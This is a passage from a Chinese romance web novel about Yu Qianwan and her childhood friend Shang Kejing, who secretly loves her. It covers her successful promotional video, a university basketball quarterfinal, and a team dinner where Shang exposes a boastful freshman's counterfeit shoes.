这样,从某种程度上来说,他们也算是一辈子在一起了。在她的人生中,除了家人外,应该也不会有比他优先级更高的异性了。 虞千绾侧目嗔来一眼,一句完全不在商恪景意料中的话脱口而出,“还不都怪你,那我从小到大就跟你这一个异性关系好,我还以为大家都这样好,哪里想到第一次喜欢人就发展成这样……” “都怪你。”说着,虞千绾还有些小脾气地朝商恪景胳膊侧推了下。 她面上的那抹尴尬绯红还没褪,声线又天然的好听,轻松将话说得像是在撒娇,没使多少力气的动作也像。 商恪景有力稳健的身形却被她这样一个动作推得微晃,心更是在瞬间飘到不知哪去。 她最近到底怎么回事,怎么这么会说话? 撩死人了知不知道? 作者有话说:恪景哥,又心动了[狗头] 第30章 第 30 章 “是不是我说我喜欢你,…… 新账号的第一条视频点赞量滚雪球般滚到了三十万加, 三十五万后点赞量的增长速度相对就慢了许多,但这对偏商业向的视频已是很好很好的数据,新账号涨了不少粉且休闲日子又往后延了三个月的虞千绾很是满意。 视频的浏览量和传播度更是远超正常三十多万点赞量视频该有的,曝光转化率极高, 不仅提高了嘉澍集团和购物平台的大众知名度, 还将购物平台和顶流容博延绑定在一起, 如此对容博延有好感的粉丝或路人在购物时会优先选择嘉澍旗下的, 而作为影视歌三栖顶流的容博延粉丝基数庞大, 路人缘也极好。 与视频相关的各种讨论纷纷闯入各平台的热搜词条,讨论热度居高不下, 可以说是为嘉澍省了后续一大笔宣传费, 并且,嘉澍就算花了很多钱也不一定能达到这个效果。 虞千绾自信这不菲的成绩里肯定有自己下的功夫以及她确实作为嘉澍集团继承人这层身份带来的红利, 但也不可否认,容博延及其工作室的到来往她评论区里引了不少流。 不过这个流程, 虞千绾事先是不知情的。 她想应该是负责购物APP那边的宣传团队做的, 她就算是客气一下也得去表达一下谢意,但她和团队之间只有一个负责对接的助理,所以虞千绾把谢意表达给了助理,劳她同想出这个主意及付诸努力的大家转告她的谢意。 口头表达太虚, 虞千绾也不是很擅长, 于是给大家点了份下午茶,也一起让助理注意查收,大约半小时后有人送到。 不曾想助理也愣了下, 表示这不是她们做的,而是嘉澍集团总部那边直接通知下来的,她们也很感谢这一波宣传给她们后续省了很多力, 而后很商业互捧的反夸了虞千绾一波。 下午茶到了以后也专门给虞千绾发来消息和照片表达下午茶很美味,大家都很开心很谢谢她。 帮忙却还不说出来邀功的人不用多想,肯定是她最最亲爱的姐姐。 对待虞昭音,虞千绾瞬间没了客气劲,点进和姐姐的微信聊天框就直白发了个抱大腿的表情包。跟着发了一长串亲亲的生动表情过去,指腹疯狂按亲亲的小表情时,嘴巴也不自觉因为高兴和emoji表情同步撅着,不断嘬嘬嘬的,仿佛在隔空亲着姐姐。 商恪景尽数收入眼里,很难再将视线转开,笑得心旌摇荡。 面前茶几上摆放着他两小时为了改论文带过来的电脑,但此时电脑因为好一会儿没用已经自动熄屏,其上映照出他那张春心萌动的脸和沉浸到有些痴迷的眼神。 幸而,先发现的人是他自己。 商恪景急遽偏过头,抿住唇,单手也匆忙掩住下半张脸防止被虞千绾发现异样。 他们原本的交集已经很多了,最近更多,从她和常桦闹掰后就一直保持至今,除了睡觉和晨起赖床的那段时间基本都待在一起。 这样当然很幸福,可弊端也很明显,商恪景好几次都意识到自己的喜欢没藏住,明显得不像话,他心头一咯噔还当虞千绾觉察出了,但最后都是他多想,虞千绾压根没感知到。 每每遇到这种情形,商恪景都会下意识轻舒口气,庆幸虞千绾没发现。但庆幸过后,心情又会有些郁郁,忍不住想,她就这么不关注他吗?他都这么明显了,她怎么就是觉察不到呢,明明她在感情上也不是个迟钝的人,难道他在她心里真的一点可能都没有吗?可她若是真发现,他又不知道该怎么办才好了。 真就应了那句广为流传的话——暗恋是一个人的兵荒马乱。 譬如此刻,虞千绾依旧对商恪景刚刚那充斥着浓烈爱意的注视毫无觉察。 她正在开开心心准备做第二条视频,首条视频做得好,新账号开了个好头,她不安的心也一齐稳住了,自信心重新回笼甚至加了几倍,对于后续视频也灵感喷涌。 这条视频在首条视频没发出前,她其实就做好了大致框架,只需要后续再拍些片段填充进去就行,但彼时她没得到任何反馈,无论好的还是坏的,心情起起伏伏的,做着做着都没了自信,感觉自己做得不好,总想修改但又不知道该从何修起。 但现在,完全不同心境的她简直觉得自己是天才,想到更好的地方会哼着小曲修改,没想到更好的地方就把原本做的看做最好。 总归是个往一百分上继续加分的过程- 商恪景的篮球赛也在同步进行着。 很快,周六到来,16进8的篮球赛正式开始。 这次,有了经验的虞千绾不仅带了两条毛巾方便让商恪景替换使用,还汲取先前在场馆内看到的经验特意准备了个横幅做赛后惊喜,但因为上面只写了商恪景一个人的名字没写整个篮球队,而且在篮球场里拿出来会吸引很多人目光太社死,于是虞千绾只是在商恪景赢了比赛后偷感很重的背着篮球队其他队员把横幅从包里摸了出来单独向商恪景展示了几秒。 看到的那瞬,商恪景愣了下,然后笑的比刚刚赢下篮球赛的时候还要高兴。 高兴她的心意,高兴她只写他一个人的名字,这是只属于他的胜利,也是只有他一个人知道的胜利。 于是他将横幅从虞千绾那要了过来,自己很宝贝地带回了家珍藏起来。 当晚两人一起吃饭时,商恪景还故作漫不经心地茶茶问了句:“虞千绾,你那个横幅怎么只写我一个人的名字?我看现场别人准备的都是一整个球队的。怎么,你——” 是不是觉得我最厉害…… 铺垫的话刚说完,重点还没说到,虞千绾就不假思索地否定了他,“不是。” “咔嚓——” 商恪景表情一顿,夹菜的动作也是一顿,心脏发出了只有他能听到的碎裂声,神情和话腔里那股子造作的茶劲瞬间就没了。 没感知到茶艺的虞千绾还在耿直道:“胜利当然是球队所有人一起的,只不过我跟球队有些人不是很熟,人和名字甚至都没法全部对上,到时候他们要是看到横幅来跟我讲话我露馅了多尴尬啊,而且我也不太好意思当着那么多人面把横幅举起来呐喊,所以还是写你一个人的名字私下给你比较好,反正本来也就是为了你准备的嘛。” 商恪景只想扇自己几个嘴巴,怎么偏要问这些让自己不爽的话? 听到了前面那串后再听最后一句话都不是很动听了,不知道作何回应的商恪景生硬截断了这个话题,突然往她碗里连夹了三个鸡爪,“吃吧。” 这样她的嘴巴忙于啃鸡爪就腾不出空说话了。 “啊,我不要纯爪子,我要下面的那部分,肉多。” 虞千绾皱眉发出抗议的声,“商恪景你爱吃下面的你就夹啊,还剩那么多呢,我又不是不给你吃,你干嘛都把上面的夹给我?你这人真自私。” 家里阿姨做菜时把一根完整的鸡爪切成了上下两半。 商恪景给虞千绾夹的全是上半部分,而且挑得还都是那种肉很少的瘦鸡爪。鸡爪本来就没多少肉,再经过他这么一挑,更是看起来就费嘴,虞千绾不情愿,还在让商恪景快点把鸡爪夹走。 商恪景却试图装聋端着碗背过身埋头苦吃,但没能逃掉,那三个鸡爪又被虞千绾径直夹到了他的碗里。 如此还嫌不够,想报复他的虞千绾又往他碗里夹了两个鸡爪,然后把肉多的下半部分夹了很多放到自己碗里。 怕商恪景突然来抢她的,她赶忙低下头去啃一口,这样商恪景就没法再夹走了。 商恪景沉默几秒,心想这样也行。 他这张嘴可以少问几句扎自己心的话了- 篮球赛第三轮,8进4的比赛,曹教练的手气就没那么好了。 他抽中了京理工大作为这轮对手,京理工大教练也很郁闷,不过在抽选地点环节为自家选手抽中了京理工大的篮球馆主场作战,但依旧没有很高兴,毕竟在强势的对手面前,场地就显得微不足道了。 可对京大篮球队来说,这无疑是接连两个噩耗。 对手强劲,地点也陌生。 唯一的高兴方只有京体大,不仅可以提前确定前两名的位置,还能通过京大和京理工大的八进四比赛多看一场对手的比赛录像,尤其是商恪景——商恪景的突然加入为京大篮球队补强,无疑让京大篮球队的恐怖程度又更添一级,但他原本没参加过什么公开有录像的篮球赛,别校教练想要研究他都没有数据,只能靠着目前进行着的京市高校篮球赛同步逐帧分析。 其中还有个很重要的点是,京体大京理工大和京大这三所学校的篮球队算是多年宿敌了,都很了解对面的主将和打法。京大之前是主将是魏明轩,他的打法深受上一届篮球队队长的影响,也就相当于京大的大致打法其实最少有六年没什么大变动,只是在磨练球员的配合和技术,其余两个球队自然很了解京大的风格,有着一套成熟的应对策略。 但谁也没想到魏明轩会突然伤了脚没能上场,也没想到会来了个球技更强于魏明轩并且打法与魏明轩截然不同的商恪景,所以教练们都把攻破京大的重点放在商恪景身上。 而今,京大和京理工大对上,京体大起码比京理工大多了一次看商恪景的比赛的机会,能对他的了解更多些,也更有发现弱点攻破的概率。同样,京体大也多了一次观察京理工大新加入的球员的机会。 总归京大和京理工大无论哪方赢下比赛都为京体大排除掉一个强有力的对手。 京理工大在往届京市高校篮球赛中取得的成绩大多是第三名,京体大和京大角逐第一第二,但偶然有那么几次,京理工大也会突然夺得第一的位置,谁都不知道这次会不会这样的小概率事件,所以都严阵以待。 因为对手是京理工大,京大篮球队这段时间的训练明显认真了许多,队员们甚至自行约着时间进行加练,提高训练强度。 最后反倒是曹教练出面盯着不许他们加练,狠狠将他们训斥了一番。防止他们训练过度受了伤上不了场,勒令他们必须一切还按照原本的节奏来。 虞千绾都被这氛围感染到,不自觉联想到高考之前,老师叮嘱说让家长别想着要高考了给孩子好好补一补做些大补的食物,乍然如此反倒容易让孩子肠胃不适影响到高考。 尤其,虞千绾还从徐盼雁那得知,魏明轩这几天表面上装得严肃在那按照教练的话看着篮球队队员不许他们加练,结果背地里自己却在用着没痊愈的伤腿练球。 因为他觉得自己如果能上场和商恪景一起打配合的话,那打败京理工大进到四强的概率又大了很多。 可伤筋动骨一百天,他这点休养时间哪里能恢复如初,更何况打篮球时腾空投球再落地的动作很是常见,一次两次跃得不高还行,但频繁多次且尝试跳跃的高度越来越高后,魏明轩的伤腿根本受不住落地时带来的反震感,皮肉包裹着的骨头都似在打颤,额头也沁出了疼出的冷汗却还在执拗地咬牙坚持。 这些,魏明轩一个字都没提,他训练时不仅背着篮球队的大家,还背着徐盼雁。 但他们俩太亲近,每天不见面的时候都会给对方报备行程,徐盼雁很快就觉察到猫腻发现偷偷练球的魏明轩。 被徐盼雁抓到时,魏明轩一身的衣服都几乎要湿透了,脸色也略显苍白。 徐盼雁又气又心疼地哭了一通,魏明轩抱着她安慰但明显还不死心,仍旧觉得自己能坚持,一边说着抱歉,哄着她别哭了,一边却还在试图劝她让她相信自己能上场。 徐盼雁越听越恼火,也越难受,边哭边打着他胸膛。最后抛出杀手锏用分手威胁魏明轩,魏明轩这才慌忙灭了上场的念头不敢再提,也不敢再偷练,又恢复了原先的乖巧状天天和徐盼雁待在一起,生怕自己一离开她还以为他又去偷偷练球真跟他分了手。 虞千绾作为一个旁观者,听到都觉得震撼发酸,她一直都知道魏明轩喜欢篮球,很多次从徐盼雁的口中听到过,但她没想到会热爱到这个程度。 带伤训练还想坚持上场这种事,她只在职业球员身上听到过,没想到一个简单的学校之间的篮球赛也能让魏明轩付出这么多。 但细想也是,她听说过职业球员带伤上阵并不是因为只有职业球员这么做,而是因为只有职业球员的影响力能让大家知晓,可镜头照到是才是小部分。 虞千绾第一次这样鲜明的感知到篮球赛对篮球队的队员们多重要,又或是对魏明轩这一个人,连带着她心里对篮球赛的重视程度也拔高了些。 而商恪景是如今篮球队的主力,虞千绾便在这些天对他格外注意,不会像之前那般动辄让他帮自己搬东西,能自己动手的她就自己动手了,生怕一个不小心弄伤了他的胳膊和手,走过不太明显的台阶时也会提醒句防止他发生和魏明轩一样的事故。 商恪景自然也觉察到,揶揄她几句以后就开始蹬鼻子上脸,反过头来指挥虞千绾干这干那的,很快就遭到了虞千绾不客气的‘毒打’。 商恪景嘴上说:“虞千绾你刚刚还让我自己注意别磕着碰着,一转脸怎么还自己动手打我了?” 但其实心里很乐于目前的状态。 大抵是自幼相识,与她太熟太熟,商恪景早习惯了和她之间不那么客气的相处模式。 和别人相处时,“谢谢”“抱歉”“您好”“请”这类词很自然就挂在嘴边,但和虞千绾相处时,这几个词的出现概率为零。 就算出现也不是词语本身的含义,而是在阴阳怪气,或者闹别扭不想搭理对方的时候。 笑闹,顺手拍打的小动作,麻烦事张口就出,不需担心对方多想的吐槽…… 在他们的相处中,这大概就等同于和别人相处时的那些敬词,是自然的不可缺少的舒适,否则就会让商恪景感知到疏离- 校篮球队其实招了不少队员,但能上场参加比赛的还是固定那些球技还不错且能坚持下来的。毕竟只是个校篮球队不是国家队,成员们也都有自己的学业要忙,所以有一批挺有天赋但不太愿意经常花时间跟着篮球队训练的成员渐渐就不参加篮球队的活动了,还有一批上不了场甚至连替补都当不上的成员更是没有坚持的毅力,基本已经完全脱离了篮球队,连篮球队的群聊都退了。 八进四比赛的前一日,在篮球队里相对积极些的队员们在群聊里一起给将要上场的队员加油打气,聊着聊着约定说明天打完比赛后晚上一起聚餐大吃一顿,无论输还是赢。 虞千绾和徐盼雁也收到了邀约,全都欣然应下。 比赛当天,虞千绾看得无比认真,手机都没拿起几次,之前热衷于给商恪景出帅图的她今天真正把注意力全部放在篮球本身上。 虽然她依旧不能很清晰明了的通过在进球前的拉扯看出两队球员明显的实力上下,但只是通过进球她也能发现比赛的焦灼。 只见球场上一会儿京大这边进一球,一会儿京理工大那边进一球,抑或一边两球一边三球,总归有来有回,分数咬得很紧,与她前两场看到的被京大远远甩在身后的比赛截然不同,就像是突然从简单转至困难模式,看得她肾上腺素都有些飙升。 现场观众显然也被这种势均力敌吸引进去,呼吸都放缓,嘴巴难以自制地跟随局势变化发出些叹词。 在吹哨前,分数本就领先一些的京大篮球队又进一球彻底锁定胜局,全场轰然,有为其高兴欢呼的,有为京理工大唏嘘遗憾的。 徐盼雁眼圈瞬间就红了,噙着热泪扭头就激动抱住虞千绾,脸颊下埋到虞千绾颈窝,“太好了太好了,又往前进了一步,离明轩的目标更近了。” 徐盼雁之所以这么感怀是有原因的,虞千绾有听徐盼雁提过。 前三年,也就是从魏明轩入学京大的那年开始算,京大篮球队在京市高校篮球联赛中接连摘得两次第一,但那时,处于大一大二的魏明轩只是进入了篮球队,还未担任篮球队队长的角色。直到大三,原本的篮球队队长毕业离校,魏明轩才正式担任篮球队队长的位置。 但去年,魏明轩第一年作为队长带领队伍参加京市篮球联赛,最终却只拿到了亚军,没能延续上任队长的战绩稳住第一名。 其实并非很大的事,第二已经很好了,京大曾还爆冷没进过八强,持续稳住前三就足以证明京大篮球队的能力了。 可魏明轩对此很是自责,他觉得是自己没带好团队,明明前任队长在的时候,他们都是第一名的,明明队员实力也没有悬殊很大,怎么一到他手上就变成第二了,他愧对于前任队长的栽培,愧对于队内同伴的信任。 所以在后面一年的时间里,魏明轩付出了更多的时间和精力花在篮球上,只想在大四这最后一年带领球队拿个第一,哪知命运总是捉弄人,魏明轩又伤了腿不能上场。好不容易联系到商恪景上场替他比赛,结果好死不死,八进四的对手又抽中了实力不容小觑的京理工大,这下别说夺得第一了,能否进入四强都不确定。 魏明轩本身就是个情绪偏敏感的人,接连这么几下,他已经快要不行了,生怕被自己带领的球队一年不如一年。但面上,他从不表现出来,一直给人的感觉都是个和善好脾气内核稳定值得信赖的队长形象。 徐盼雁却看到了他的内心深处,很懂得他,所以也会为了他靠近他的目标甚至是执念而欣喜落泪。 虞千绾搂紧徐盼雁,拍着她的后背柔声安慰,“放心,他这次肯定会带领球队夺得第一名的。否极泰来物极必反,他前面那么倒霉就是为了冠军积攒气运的。” 徐盼雁远远看着魏明轩的方向,他和教练坐在一起,距离她们有些距离,看不清具体的面容,但她看到魏明轩反复抬手擦拭着眼周,应该是哭了。 不禁,她的眼前也泛起更浓的雾气,喉间发哽,有些难以出声,只是重重点头回应虞千绾的话。 裁判吹哨宣布球赛结束、京大篮球队胜利的那一秒,京大篮球队所有成员抱在一起,台下的欢呼声更为激烈的为他们而响。 一场说大不大说小不小的赛事现场,处于欢呼声中央正和队员一起拥着的商恪景抬起头,视线远远定格在虞千绾的面庞,隔空攫取着她的,目不转睛朝着她笑。 双手高高抬起仿佛赢得了天大的胜利朝着她挥摆,张扬阳光又少年。 虞千绾也回他高高竖起的两手大拇指,笑颜粲然。 而他们原本定好的晚餐也就正好成了庆功宴,所有人都展露着笑如约而至。 聚会地选在距离京大十几分钟车程的一家酒楼,这家酒楼共有三层楼,环境不错,有独立包间,最重要的一点是价格实惠,性价比高,很适合有些钱但不多的大学生群体。 京大以及周围离得近的大学里的学生老师基本都会将人多的聚会活动定在这里进行。 现场来的女生不止虞千绾和徐盼雁两个,还有其余篮球队队员的女朋友。 但来了以后虞千绾才发现只有自己是以朋友身份参加的聚会,别人都是以某某某的女朋友身份出席的。 聚会上有些初见的生面孔,他们对虞千绾和商恪景不了解,下意识以为他们跟大家一样都是情侣,但将把“你男朋友真帅/你女朋友真漂亮”这类话当做开启话茬的开端丢出时却得到俩人默契的答复“你误会了,我们只是朋友。” “哦哦,不好意思,确实误会了,原来你们是朋友啊。” 大家当即这么略带抱歉地尬笑回,但看向两人的眼神却有些微妙,显然没怎么信他们真是单纯的朋友关系。尤其虞千绾和商恪景外貌出众,在京大其实算是挺出名的风云人物,有些人虽然同他们是初见,但一听到名字就恍然大悟地心想“原来是他们。” 包间里有两张桌子,起初大家是一对一对落座的。 但男生一多聚在一块就想喝酒,最重要的是篮球队今天打赢了比赛,场合确实很适合喝点酒开心开心,女生则都不喝,于是商议过后,男女生分开落座,正好各坐一张桌子。 作为队长,每次篮球队有活动魏明轩都是最繁忙的,徐盼雁只要空闲也都会去帮忙,帮忙的次数多了见的人也多,她就这么在一次次活动里零零散散认识了不少球员的女朋友。 女生这桌大多数是初见,相熟的不多,与大多数女生认识的徐盼雁及时挺身而出热络氛围,帮着大家之间互相介绍破冰。 在介绍到虞千绾的时候,徐盼雁不显刻意地提及她和商恪景家里长辈认识,自小也住得近,所以是相熟很多年的朋友,友情超级铁。 一方面防止现场还有人不知道虞千绾和商恪景只是朋友关系仍以为他们是情侣闹了乌龙,另方面算是变相说明他俩没什么暧昧,尽可能打消些旁人的好奇心免得让虞千绾感到不适。 女生们都很有分寸感,一听到虞千绾和商恪景自打出生起就认识,当即可以理解些他俩的友情怎么这么好,这种青梅竹马的情谊当然和成长后遇到再深交的异性关系不同。 所以在后面的聊天中,她们顶多就问句“你俩年纪相仿,又一直在一个学校,是不是很多人会误会你们是一对?” 而且是以一种很正常的语调和表情,并无过多的窥探欲,只是顺口而出的交流对话。对此,虞千绾也不排斥,莞尔又有些无奈地点头笑回:“是,解释过很多遍。” 几人相视一笑,表示这样的友情确实少见,让人羡慕,但大多数人没有这样的经历,确实下意识不会想到。 不过她们都表示,如果有一个关系这么好的朋友,哪怕解释N遍她们也乐意,人越大越知道一个真心好友的含金量。 虞千绾非常赞同,忽觉这种时而的误会和解释或许可以归于幸福的烦恼那一类。 女生们是因为男朋友的活动相遇结缘,所以话题一开始基本都在围绕自己的男朋友,说男朋友在球队里打哪个位置,什么时候进的篮球队,这样大家都能聊上几句,后来逐渐熟悉后没再提过一句男生,无限扩展延伸自己感兴趣的话题- 男生那桌。 商恪景也没能逃得过有关于虞千绾的问题,并且面对的情形比虞千绾还要再棘手些——一方面因为他跟篮球队的大家一起打过几次比赛,确实很熟了,说话逐渐没刚认识时那么收敛客气。另方面则是因为大家喝了酒,平常需要些思考的话现在也就更为直接的脱口而出。 不过都被商恪景以不置可否的“女孩子还在呢,别说这些让人家听到有压力”给轻巧带过了。 现在的徐盼雁很坚信虞千绾和商恪景就是朋友,魏明轩从女朋友那听到多次,也这么坚信着,于是帮着商恪景解释,“人家俩真是好朋友,他们都说了很多次只是朋友了,你们就别多想了多八卦了,说多了真有些冒犯,被人家女生听到了以后四进二的比赛和决赛估计都不敢来参加了,生怕被你们误会。” “今天最后一次,以后都闭嘴不许再提了啊。” 魏明轩这个队长在大家心里还是很有信服力的,他脸一绷,再眼一横,刚刚揪着商恪景不放的那群人瞬间都老实了。 反倒是商恪景看着魏明轩一脸正色坚信他和虞千绾的友情时问心有愧地低咳了声,主动给魏明轩夹了道他爱吃的菜,另手还在他肩上似有若无地拍了两下。 魏明轩完全没感知到商恪景这些小动作下隐匿的微妙情绪,还举起了饮料朝着商恪景表达由衷的感激——因为脚伤没好,聚会之前徐盼雁叮嘱过他,不许他喝酒,还跟球队里那几个爱闹腾的都说了一遍,让他们别劝魏明轩喝酒,所以魏明轩今天只能以饮料代酒。 但饮料完全不会让魏明轩的诚意减退,他说着说着又快要哭出来。 商恪景更不在意那些所谓的酒桌文化,可他并不擅长安慰人,尤其还是个男人。 思忖须臾,他依旧是抬起手在魏明轩的肩背那片拍了拍,只不过这次,他的力度稍稍加重,笑说:“别跟我客气,还得多亏这次你给我机会上场,让我在毕业前又有了一场不同于前三年的大学经历。” 感受到商恪景在宽慰他,魏明轩将脸一抬,带有些玩笑劲地说:“那确实,篮球队是大学里非常浓墨重彩的一笔,我带你经历,你带我拿冠军。” “行。” 商恪景掺着浓浓的笑意回,两指掀起酒杯主动去跟魏明轩的杯壁碰了碰,“肯定把冠军给你拿回来。” 魏明轩笑着纠正,“是咱们。” “对,咱们。” 不知不觉间,商恪景和虞千绾的话题终于被揭过,没人再提。 男生们在一起越喝越起劲,或坐或站地满桌乱窜说话拼酒,喝上头或聊上头就也不管旁边是谁的位置,也不管那是不是空位,一屁股就顺势坐下,没人就正好坐了,有人就跟其在椅子上各坐一半屁股或直接坐原本那人的腿上。 一桌的位置就这么随意地换来换去,但商恪景和魏明轩的位置没换过,一个是不适应这里的酒液,并不想多喝,另个是行动不便且不能喝酒。 在酒桌上略显格格不入的两人就边吃菜边有一搭没一搭的聊着,也挺惬意。 饭局进行到中后段,商恪景左侧空着的位置突然坐来了个刚进校不久的大一学弟。 对方主动同他和魏明轩打招呼,商恪景也礼貌地颔了颔首回应。 同时,商恪景简单打量了一眼这位学弟。 头发是特别烫染过的,颜色微微发棕,他应该挺注意外形,明明不近视还戴了副无镜片的框架眼镜做装饰,眼型偏圆钝,视觉上给人一种无辜单纯的感觉,很符合网上说的那类狗狗眼。 结果这位学弟结束和魏明轩的寒暄后顺势跟商恪景搭腔聊起天,一开口就破了商恪景对他的外形印象。 因为他们明明不熟,他却好似很熟稔地直愣愣冲着商恪景笑问:“学长,你和虞学姐是不是很熟呀,我之前在网上刷到过一些有关虞学姐的事,她家里是不是真跟网上说的那么有钱啊。” 很没分寸感的问话。 并且这位学弟显然也知道自己外形天然的亲和感,说话时还刻意睁大了些眼睛,佯装出一副懵然不懂的呆萌样,好像如此就不会显得冒犯。 但很可惜,他们已经是成年人了,不是幼稚园的小孩子。 这副作态很假,不仅不会显得他可爱,还会显得他像个双商都很低的傻子。 商恪景几乎在瞬间就对面前的学弟竖起了心墙,但今天赢了比赛大家情绪都挺高涨的氛围也挺好,商恪景并没表露不快煞风景,只是淡淡地似是而非地回说:“没那么夸张,网上的事情看看就得了。” “喔~我想也是,要那么有钱应该会去国外留学的,怎么可能留在国内。” 学弟却把商恪景的话当了真,一副‘我就说嘛’的姿态突然长篇大论起来,“我有个朋友,他家里巨有钱,初中就去了美国……” 他巴拉巴拉说了一堆他口中所谓的好朋友的事情,总之就是想表达自己的交际圈很厉害,都是去留学的朋友。 商恪景默不作声又给他添了个新印象——无知且爱装。 跟着,又添了个虚荣。 因为这位学弟发现了商恪景腕表和鞋子价值不菲,明明发现的那瞬自己也惊了下,但随后许是不想表现出自己没怎么见过奢侈品,然后以一种近乎常态的调调跟商恪景聊,只不过商恪景不太搭理他,大部分时间都在吃饭,大概是没给够他想要的追捧感,于是扭头开始跟别人说商恪景身上穿戴物什的价值。 大家闻言都挺惊讶的,当然,惊讶的是物品本身的金额。 但学弟似乎当做是认为他懂货,双腿交叠直接高谈阔论起来,姿态摆得很足,就好像那东西压根不是商恪景的而是他的一般。 这位学弟不知的是,他只说对了品牌,具体系列名一个都没说对,他也不可能说对。 因为商恪景穿的戴的是私人定制款,不对外售。 不过这种人商恪景见多了,他懒得去多提懒得与其争论什么,平白浪费自己的时间,最重要的还是今天日子特殊,为这么一个人毁了将尽尾端的聚会很不值当。 哪知这位学弟结束那边的聊天后又将头转了回来继续和商恪景搭话,这次说出的话还埋着个大雷,“学长你知道咱们学校那个进娱乐圈的常桦学长吗?我跟他一个专业的,开学的时候从一些学长学姐那听说过他,最近在网上刷到他和虞学姐好像很熟。有人说虞学姐只是出于追星心态喜欢的常桦学长,还有人说虞学姐和常桦学长谈过,分手闹崩了,事实是哪个呀?” 生怕商恪景立即回答他似的,他还突然一震,坐直身子,“学长你先别告诉我,让我猜一猜——应该是后者吧,虞学姐和常学长是不是以前真谈过?毕竟他俩都是咱们京大的学生,很可能在常学长进娱乐圈前就认识了,感觉不太像是那种站姐和明星的关系。” 商恪景拿着酒杯的指节无人觉察地攥紧了些。 他不是个很爱喝酒的人,和虞千绾一样很少喝酒,但因为家里从商,或多或少有些应酬和酒会,所以有被家里人特别培养过这方面,倒不用有多好的酒量,可也不能沾酒就倒。 今天赢下比赛进到四强,商恪景是由衷高兴的,所以连这种平常碰都不会碰的小饭店里的劣质酒都喝了。 但这并不是商恪景很介意的点,因为这就是普通家境的大学生的正常生活,让他烦的是眼前这个劣质人,几乎集各种讨人厌的性格于一身。 别的方面,商恪景都可以不往心里去,可以维持着表面和谐,但有关虞千绾,不行。 他没回话,只是眼睑微敛,眸光透着说不出的沉冷,径直凝着面前男生。 他刚刚说话的腔调和眼神让商恪景很不爽,他就好像把虞千绾的私生活当成了一种茶余饭后的谈资,随意置喙。 商恪景毫不怀疑,他如果回答了,这个消息很快就会被学弟添油加醋传播出去,并且虞千绾也会成为学弟在外炫耀的话术,即使他们素不相识。 被商恪景以一种毫不收敛的阴鸷目光凝视了十来秒的学弟感受到浓浓的压迫感,终于意识到自己的话让商恪景不快了,干笑了声给自己找补,“学长你别误会,我是想知道真相帮学姐,这样以后我再在网上刷到有关她的假料还能帮她澄清一下呢。” 商恪景哂笑出了声,表情和眼神都寡淡了许多。 一直拿着酒杯并没喝太多的他忽而举起酒杯一饮而尽,不是很优质的酒液接连滑过喉间,商恪景眉头小幅度地蹙了蹙,但这种不适远不敌眼前人带来的。 “哟,恪景这酒量不是可以嘛。来来来,我再给你满上了?” 一旁虽然自己不能喝酒但把大家照顾的很好的魏明轩敏锐发现商恪景的酒杯空了,立即拿着酒瓶凑过来,见他不反对以后给他倒满。 “哎,队长。” 商恪景顺势拉住了魏明轩胳膊没让魏明轩坐回身去,另手挡开桌布,指了指学弟脚下那双配色很奇怪形状也很奇怪的鞋,“他刚刚说他这双鞋多少钱来着?” 魏明轩家世一般,对所有东西的态度都是能用就行,追求性价比,不对品质有过高的要求,更不会去追求什么品牌效应,所以换做别人或者别的什么物什,他肯定不会知道价格的。 但这位学弟不同,他对这位刚入篮球队不久的学弟很有印象,一方面是因为这位学弟很活跃,每天都在群里发很多消息,另方面则是因为这位学弟……就像是在奢侈品店干过很多年一样,一张口就能报出谁谁谁的着装多少钱,还曾同他说过换双好球鞋或许能在赛场上多赚几分。 魏明轩还认真让学弟为他推荐过球鞋,但学弟在明知道他能给出钱的范畴,还挑了些他支付不起购买金额的球鞋跟他介绍半天,反复说这个鞋根本不贵,大不了家里生活费打过来的时候吃简单点一个月也就凑到了,惹得魏明轩都升起了些自卑,因为他就算不吃不喝也得三四个月才能攒到学弟推荐的一双鞋的钱。 也是在那个时候,这位学弟顺嘴就跟魏明轩很不经意的提了自己脚下正穿着的鞋,依旧不经意的提了嘴价格,很吉利的一个价格,也很昂贵的一个价格,所以魏明轩对他的那双鞋和价格都很有印象,正巧,他今天穿的也是那双。 魏明轩几乎是脱口而出就报出了价格,“两万八千八百八吧。” 说着,他抬头看向学弟,“是吧晋鹏,我没记错吧?” 周围好几个人也被这话题吸引过来,发出惊呼。 还有几人大概听过很多次这个话题,对视一副“他又来了”的姿态无语撇了撇嘴,并且朝着空气翻了个白眼。 “我靠,两万多将近三万,一双鞋?晋鹏你家里这么有钱啊,阔少啊。” “这一双抵我好多双了,羡慕啊,我这辈子估计是穿不上了。” 梁晋鹏显然很喜欢这样的艳羡声和处在话题中央的滋味,头都微微仰起了些,语调却故作平淡,“害,两万多也没什么嘛,鞋的作用就是穿在脚上,还是比不得商学长的那块表。” 心口不一,说出的话极其虚伪,摆出的姿态更是傲慢,看不出丁点宽慰和无所谓。 “哎哟,只有拥有的人才能说出这种话,两万多还没什么呢。” “这——” 梁晋鹏姿态刚摆起要大肆说一通,却被商恪景泠泠插入的声打断,“你再说一遍这双鞋多少钱。” 这一次,商恪景是看着梁晋鹏问的。 眼神让梁晋鹏捉摸不透,他的声音都不自觉在这眼神下轻了些,“……两万多啊,刚刚队长不是说了嘛,学长你不也是知道这个牌子的吗。” “我的确知道这个牌子,但我没买过假货,不太知道在假货市场里,这双鞋值多少。” 商恪景单手支着下颚,神情自若地说出一石激起千层浪的话。 梁晋鹏眼神一变,面色顿时有些难看起来,语调也难自控地上扬变得尖细,“你看错了吧?” 为了证明自己的鞋子很贵重绝不可能是假货,他还特别添了句:“这可是我爸送我的大学入学礼。” 现场显然也有人早看他不爽,顺势就道:“入学礼?那也就是说就算你的鞋是真的你也没有很多喽?只是好不容易才有一双而已。那你平常怎么装的好像很寻常随便就能买似的?” 梁晋鹏平常待人太装,又爱摆谱,还很‘好为人师’,动辄就说出些莫名其妙的大道理和也不知道哪来的毒鸡汤,毫无共情力,只想让别人夸他。 很多人都看他不爽,但跟他交涉太累,哪怕是争吵理论都要听他的长篇大论,所以大家都选择不附和不搭理,又或是敷衍对待,这样最省时不费力。 但此刻,有一个人主动站出来,跟着就有人接道: “怪不得呢,三天有两天都是这一双鞋,我当时还寻思呢,就算是再好的鞋也禁不住这么个穿法啊,天天都不用晒鞋的吗?里头得臭成什么样啊。” “可不嘛,只要跟他聊天,十句话之内必定要拐到他的鞋上。” “梁学弟给我个联系方式呗?你这鞋做得挺真的,改天我也去下一单,但你放心,我只是单方面满足自己的虚荣心,绝对不跟人吹牛。” 